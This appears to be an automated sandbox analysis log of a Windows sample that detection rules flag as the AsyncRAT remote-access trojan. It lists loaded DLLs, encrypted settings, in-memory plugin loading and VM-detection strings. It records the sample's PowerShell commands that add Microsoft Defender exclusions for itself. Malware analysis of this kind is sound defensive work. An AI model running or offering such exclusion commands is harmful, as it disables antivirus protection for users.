Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior

Source: QWNTSg4Fdm.exe, type: SAMPLE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.QWNTSg4Fdm.exe.c00000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.3581069105.0000000012F91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000000.1484604074.0000000000C02000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\ProgramData\QWNTSg4Fdm.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: QWNTSg4Fdm.exe, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: QWNTSg4Fdm.exe, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: QWNTSg4Fdm.exe, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: QWNTSg4Fdm.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: QWNTSg4Fdm.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: QWNTSg4Fdm.exe.0.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: QWNTSg4Fdm.exe, Settings.cs	Base64 encoded string: 'uI2seBjnAlkT0plVRPNvVSGntqnNLVXO1SQlkbAMbadvL26+zX5kjRClEKu9C84j', 'QhtKWqq+k1XiVBfGj0IPahHqYm64l3KhwjL4nnocCrIC7qSd/10UPevAKx8KGOJv'
Source: QWNTSg4Fdm.exe.0.dr, Settings.cs	Base64 encoded string: 'uI2seBjnAlkT0plVRPNvVSGntqnNLVXO1SQlkbAMbadvL26+zX5kjRClEKu9C84j', 'QhtKWqq+k1XiVBfGj0IPahHqYm64l3KhwjL4nnocCrIC7qSd/10UPevAKx8KGOJv'
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, Settings.cs	Base64 encoded string: 'uI2seBjnAlkT0plVRPNvVSGntqnNLVXO1SQlkbAMbadvL26+zX5kjRClEKu9C84j', 'QhtKWqq+k1XiVBfGj0IPahHqYm64l3KhwjL4nnocCrIC7qSd/10UPevAKx8KGOJv'

Source: QWNTSg4Fdm.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: QWNTSg4Fdm.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: QWNTSg4Fdm.exe, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: QWNTSg4Fdm.exe, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6764:120:WilError_03
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Mutant created: \Sessions\1\BaseNamedObjects\i0Yq2Adr82znjD2G
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4788

Source: unknown	Process created: C:\Users\user\Desktop\QWNTSg4Fdm.exe "C:\Users\user\Desktop\QWNTSg4Fdm.exe"
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\QWNTSg4Fdm.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'QWNTSg4Fdm.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\QWNTSg4Fdm.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4788 -s 1376
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\QWNTSg4Fdm.exe'	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'QWNTSg4Fdm.exe'	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\QWNTSg4Fdm.exe'	Jump to behavior

Source: QWNTSg4Fdm.exe, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: QWNTSg4Fdm.exe, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Helper.SB(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: QWNTSg4Fdm.exe, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: QWNTSg4Fdm.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: QWNTSg4Fdm.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Helper.SB(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: QWNTSg4Fdm.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Helper.SB(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)

Source: QWNTSg4Fdm.exe, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: QWNTSg4Fdm.exe, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: QWNTSg4Fdm.exe, Messages.cs	.Net Code: Memory
Source: QWNTSg4Fdm.exe.0.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: QWNTSg4Fdm.exe.0.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: QWNTSg4Fdm.exe.0.dr, Messages.cs	.Net Code: Memory
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, Messages.cs	.Net Code: Memory

Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Code function: 0_2_00007FFB4AFC9BBD push ebx; retf 0009h	0_2_00007FFB4AFC9BCA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFB4AE8D2A5 pushad ; iretd	2_2_00007FFB4AE8D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFB4B072316 push 8B485F93h; iretd	2_2_00007FFB4B07231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFB4AE9D2A5 pushad ; iretd	5_2_00007FFB4AE9D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFB4AFB00BD pushad ; iretd	5_2_00007FFB4AFB00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFB4B082316 push 8B485F92h; iretd	5_2_00007FFB4B08231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFB4AE8D2A5 pushad ; iretd	10_2_00007FFB4AE8D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFB4B072316 push 8B485F93h; iretd	10_2_00007FFB4B07231B

Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Memory allocated: 1350000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Memory allocated: 1AF90000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Window / User API: threadDelayed 1760	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Window / User API: threadDelayed 8093	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5387	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4318	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6556	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3141	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5643	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3997	Jump to behavior

Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe TID: 5484	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3872	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5564	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6384	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: Amcache.hve.17.dr	Binary or memory string: VMware
Source: powershell.exe, 0000000A.00000002.1709971323.0000004D5618E000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: VMNETF
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.17.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.17.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.17.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.17.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.17.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.17.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.17.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.17.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.17.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.17.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.17.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.17.dr	Binary or memory string: vmci.sys
Source: QWNTSg4Fdm.exe, 00000000.00000002.3583683764.000000001BCBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll9
